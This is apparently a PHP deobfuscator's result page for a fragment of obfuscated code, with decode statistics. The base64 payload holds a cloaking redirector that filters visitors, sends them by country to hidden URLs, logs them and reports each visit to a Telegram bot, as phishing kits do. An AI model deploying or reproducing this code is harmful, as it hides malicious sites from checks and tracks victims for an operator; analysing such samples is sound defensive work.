bWVzc2FnZSAuPSAiVmlzaXRvciBoYXMgYmVlbiBwcmV2ZW50ZWQgZnJvbSB2aXNpdGluZzogeyRyZWRpcmVjdFVSTH0iOwogICAgICAgICRkZXN0aW5hdGlvbiA9ICRyZWRpcmVjdFVSTDsKICAgICAgICBpbnNlcnRWaXNpdG9yRGF0YSgkZGF0YSwgJGFjdGlvbiwgJHZpc2l0b3JIb3N0bmFtZSwgJHJlZmVycmVyLCAkZG9tYWluTmFtZVZhcmlhYmxlLCAkZGVzdGluYXRpb24sICRwYWdlLCAkZGV2aWNlVHlwZSk7CiAgICAKICAgIH0gZWxzZSB7CiAgICAgICAgLy8gQ29uZGl0aW9uYWxseSBleGVjdXRlIGxvYWRQYWdlQ29udGVudCBiYXNlZCBvbiB0aGUgdmFsdWUgb2YgJHNsZWVwCiAgICAgICAgaWYgKCRzbGVlcCkgewogICAgICAgICAgICAkcmVwbHlJRCA9IDY7CiAgICAgICAgICAgICRhY3Rpb24gPSAnRE5UJzsKICAgICAgICAgICAgJG1lc3NhZ2UgLj0gIvCfkqQgQ29kZSBpcyBhc2xlZXAiOwogICAgICAgICAgICAkZGVzdGluYXRpb24gPSAiY29kZSBpcyBhc2xlZXAiOwogICAgICAgICAgICBpbnNlcnRWaXNpdG9yRGF0YSgkZGF0YSwgJGFjdGlvbiwgJHZpc2l0b3JIb3N0bmFtZSwgJHJlZmVycmVyLCAkZG9tYWluTmFtZVZhcmlhYmxlLCAkZGVzdGluYXRpb24sICRwYWdlLCAkZGV2aWNlVHlwZSk7CiAgICAKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVkaXJlY3RVUkwgPSBpbl9hcnJheSgkY291bnRyeUNvZGUsICRjb3VudHJ5VG9SZWRpcmVjdCkgPyAkcmVkaXJlY3RVUkwgOiAkc2Vjb25kUmVkaXJlY3RVUkw7CiAgICAgICAgICAgICRjb3VudHJ5ID0gaW5fYXJyYXkoJGNvdW50cnlDb2RlLCAkY291bnRyeVRvUmVkaXJlY3QpID8gJGNvdW50cnlUb1JlZGlyZWN0IDogJHNlY29uZENvdW50cnlUb1JlZGlyZWN0OwogICAgICAgICAgICAKICAgICAgICAgICAgJHJlcGx5SUQgPSA0OwogICAgICAgICAgICAkYWN0aW9uID0gJ1NFTlQnOwogICAgICAgICAgICAkbWVzc2FnZSAuPSAi4pyFIFZpc2l0b3IgZnJvbSB7JGNvdW50cnl9IGhhcyBiZWVuIHJlZGlyZWN0ZWQgdG86IHskcmVkaXJlY3RVUkx9IjsKICAgICAgICAgICAgLy8gU2VuZCBtZXNzYWdlIHRvIFRlbGVncmFtCiAgICAgICAgICAgICRkZXN0aW5hdGlvbiA9ICRyZWRpcmVjdFVSTDsKICAgICAgICAgICAgc2VuZE1lc3NhZ2VUb1RlbGVncmFtKCR0ZWxlZ3JhbUJvdFRva2VuLCAkY2hhdElELCAkbWVzc2FnZSwgJHJlcGx5SUQpOwogICAgICAgICAgICBpbnNlcnRWaXNpdG9yRGF0YSgkZGF0YSwgJGFjdGlvbiwgJHZpc2l0b3JIb3N0bmFtZSwgJHJlZmVycmVyLCAkZG9tYWluTmFtZVZhcmlhYmxlLCAkZGVzdGluYXRpb24sICRwYWdlLCAkZGV2aWNlVHlwZSk7CiAgICAgICAgICAgIC8vIENhbGwgdGhlIGZ1bmN0aW9uIHRvIHBlcmZvcm0gdGhlIHNpbGVudCByZWRpcmVjdAogICAgICAgICAgICByZWRpcmVjdFRvVXJsKCRyZWRpcmVjdFVSTCk7CiAgICAgICAgfQogICAgfQogICAgCiAgICAvLyBTZW5kIG1lc3NhZ2UgdG8gVGVsZWdyYW0KICAgIHNlbmRNZXNzYWdlVG9UZWxlZ3JhbSgkdGVsZWdyYW1Cb3RUb2tlbiwgJGNoYXRJRCwgJG1lc3NhZ2UsICRyZXBseUlEKTsKICAgIAogICAgLy8gRnVuY3Rpb24gdG8gc2VuZCBtZXNzYWdlIHRvIFRlbGVncmFtIHdpdGggdGhlIHJpZ2h0IHJlcGx5IElECiAgICBmdW5jdGlvbiBzZW5kTWVzc2FnZVRvVGVsZWdyYW0oJHRva2VuLCAkY2hhdElELCAkbWVzc2FnZSwgJHJlcGx5SUQpIHsKICAgICAgICAkdGVsZWdyYW1BcGlVcmwgPSAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdHskdG9rZW59L3NlbmRNZXNzYWdlIjsKICAgICAgICAkcGFyYW1zID0gYXJyYXkoCiAgICAgICAgICAgICdjaGF0X2lkJyA9PiAkY2hhdElELAogICAgICAgICAgICAndGV4dCcgPT4gJG1lc3NhZ2UsCiAgICAgICAgICAgICdyZXBseV90b19tZXNzYWdlX2lkJyA9PiAkcmVwbHlJRAogICAgICAgICk7CiAgICAgICAgCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHRlbGVncmFtQXBpVXJsKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgdHJ1ZSk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwYXJhbXMpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICAgICAgCiAgICAgICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgCiAgICAgICAgaWYgKGN1cmxfZXJybm8oJGNoKSkgewogICAgICAgICAgICBlY2hvICdUZWxlZ3JhbSBBUEkgZXJyb3I6ICcgLiBjdXJsX2Vycm9yKCRjaCk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgIH0KICAgIAogICAgLy8gRnVuY3Rpb24gdG8gcGVyZm9ybSBhIHNpbGVudCByZWRpcmVjdCB0byB0aGUgc3BlY2lmaWVkIFVSTAogICAgZnVuY3Rpb24gcmVkaXJlY3RUb1VybCgkdXJsKSB7CiAgICAgICAgLy8gU2VuZCBhIHJlZGlyZWN0IGhlYWRlciB3aXRob3V0IGFueSBub3RpZmljYXRpb24KICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAkdXJsIik7CiAgICAgICAgLy8gVGVybWluYXRlIHRoZSBzY3JpcHQgZXhlY3V0aW9uCiAgICAgICAgZXhpdCgpOwogICAgfQ==')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 b60c80f2621bca8ba3c16fc07006ba70
Eval Count 1
Decode Time 55 ms